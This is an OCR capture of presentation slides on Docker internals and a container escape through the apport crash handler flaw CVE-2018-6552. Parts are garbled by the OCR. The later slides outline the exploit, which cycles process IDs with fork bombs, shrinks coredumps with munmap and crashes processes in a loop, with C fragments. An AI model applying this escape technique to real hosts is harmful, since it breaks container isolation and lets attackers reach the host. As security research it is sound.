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From a crash to docker escape

* Basics of docker
* An apport vulnerability

* A way to leverage CVE-2018-6552
* Demo
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Basics of docker

* \What Is docker?
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* hamespace
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Basics of docker

* \What Is docker?

il
I ’

* namespace

The New “Old Thing”.

G RSN BRERT
T AARSAREEEE RRLRLL




Basics of docker

* \What Is docker?
* Cgroups

* hamespace

Storage

Namespaces Networking

Cgroups Security
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Basics of docker

* \What Is docker?
* Cgroups

BINS/LIBS

BINS/LIBS

APPARAPPB g APPAR APPB g APP C

BINS/LIBS BINS/LIBS

* Namespace

GUEST OS

GUEST OS

HYPERVISOR (TYPE2)

DOCKER ENGINE

HOST OS HOST OS

SERVER HOST OS

VMs V.S. Containers
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Basics of docker

: * memory
* \What is docker?
* Cou
* Cgroups . disk I/O
* hamespace * network banadwidth
o efc.

systemd
PID1
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Basics of docker

 \What Is docker?
* Cgroups
* namespace

UuTsS
User
Mount

Network
IPC
PID

ostype: Linux
version: 3.X

hostname: ns1
domainname: ns1

ostype: Linux
version: 3.X

hostname: ns2
domainname: ns2
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Basics of docker
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Basics of docker
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Basics of docker
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Basics of docker
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Basics of docker

 \What Is docker?
* Cgroups
* namespace

UuTS
User
Mount

Network

IPC
PID
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Basics of docker

* \What is docker? » UTs \'
* Cgroups ¢ User
.  Mount
namespace Ve
. IPC
. PID

 — — — . — N — . —

\

nsli . ns2
g [ Rty REET

[ BRREARBERERIEMRELL
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Basics of docker

* \What is docker? » UTS
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Basics of docker

* What is docker? ) D
* Cgroups r User
. « Mount
namespace . Norwork
. IPC
. PID

* shared memory
* message queue

* semaphore
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Basics of docker
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Basics of docker

 What' s docker? » UIS

* Cgroups r User
. « Mount
namespace . Norwore
. IPC
. PID
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An apport vulnerability

* CVE-2018-6552

&

€

Crash report

v ExecutablePath

Jusr/bin/gedit
Package
gedit 3.3.7-Oubuntu1
ProblemType
Crash
Title
gedit crashed with SIGSEGV in
ApportVersion
1.94-0ubuntu2
Architecture
amd64
CoreDump
Date
Wed Mar 7 14:15:00 2012

Hide Details

__GI_poll()

N

& Send an error report to help fix this problem

Leave Closed

The application gedit has closed unexpectedly.

Relaunch
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An apport vulnerability

» CVE-2018-6552
t

The application gedit has closed unexpectedly.

v ExecutablePath
Jusr/bin/gedit
v Package
gedit 3.3.7-Oubuntu1
v ProblemType
Crash
/usr/share/apport/apport %p %s %c %d %P v Title
gedit crashed with SIGSEGV in _GI___poll()
v ApportVersion
1.94-0ubuntu2
v Architecture %
amd64
» CoreDump
v Date
Wed Mar 7 14:15:00 2012

& Send an error report to help fix this problem

= —1 )
Hide Details Leave Closed | |Relaunch K?Hﬁ-
=] PES:




An apport vulnerability

e CVE-2018-6552 def is same ns(pid, ns):

if not os.path.exists('/proc/self/ns/%s' % ns) or \
®* IS Same nS() not os.path.exists('/proc/%s/ns/%s' % (pid, ns)):
return True
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An apport vulnerability

* CVE-2018-6552
*|S_same_ns()
* main

if len(sys.argv) == 6:
host pid = int(sys.argv[5])

if not is same ns(host pid, "pid") and not is same ns(host pid, "mnt"):

elif not is same ns(host pid, "pid") and is same ns(host pid, "mnt"):
sys.argv[l] = str(host pid)

elif not is same ns(host pid, "mnt"):

sys.exit(0)
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An apport vulnerability

e CVE-2018-6552 (pid, signum, core ulimit, dump mode) = sys.argv[l:5]

e me_nS() get _pid_info(pid)

* main
* get_pid_Info()

def get pid info(pid):
'''Read /proc information about pid'''

global pidstat, real uid, real gid, cwd

cwd = os.readlink('/proc/' + pid + '/cwd')
g { FEl- REFT
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A way to leverage CVE-2018-6552

* /proc/sys/kernel/core_pattern
* /proc/sys/kernel/pid_max
* coredump

|/usr/share/apport/apport %p %s %c %d %P
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A way to leverage CVE-2018-6552

* /proc/sys/kernel/core_pattern
* /proc/sys/kernel/pid_max
* coredump

process 1 process 2
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A way to leverage CVE-2018-6552

* /proc/sys/kernel/core_pattern
* /proc/sys/kernel/pid_max
* coredump

PID rolls back to the beginning when PID reaches pid_max
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A way to leverage CVE-2018-6552

* /proc/sys/kernel/core_pattern
* /proc/sys/kernel/pid_max
* coredump

“fork() bomb”
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A way to leverage CVE-2018-6552

* /proc/sys/kernel/core_pattern
* /proc/sys/kernel/pid_max
* coredump

“fork() bomb”
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A way to leverage CVE-2018-6552

* /proc/sys/kernel/core pattern
* /proc/sys/kernel/pid_max ~ register char * sp _asm_ ("rsp");

¢ Coredump int main(int argc, char *argv[])
{
old sp = sp;
old sp &= ~0xfff; // page alignment
_sp = (uinté64 t)malloc(16*1024) + 16*1024 - 0x10;

munmap ( (void *)old sp - 0x20000, 0x21000);

make crashes();
return 0;
}

. _ S, AE REFT
shrink coredump file by munm%() " ARRSARBEEARARAL



A way to leverage CVE-2018-6552

char str[30] = "\n\nghost in the shell\n\n";

* /proc/sys/kernel/core_pattern
* /proc/sys/kernel/pid_max
* coredump

//1.
//2.
//3.

for

}

change directory
sleep 1000 processes here(occupy pids)
tiny fork bombs & SIGSEGV

(L = 0; i < 2000; i++) {
fork bomb(200);
pid = fork();
if (pid) {
waitpid(pid, &status, 0);
} else {
raise(SIGSEGV); // crash

}
usleep(1000*100);

FEHBEmMRHELL

leave your message in anonymous @mo_ﬁfggg@@ﬁﬁ
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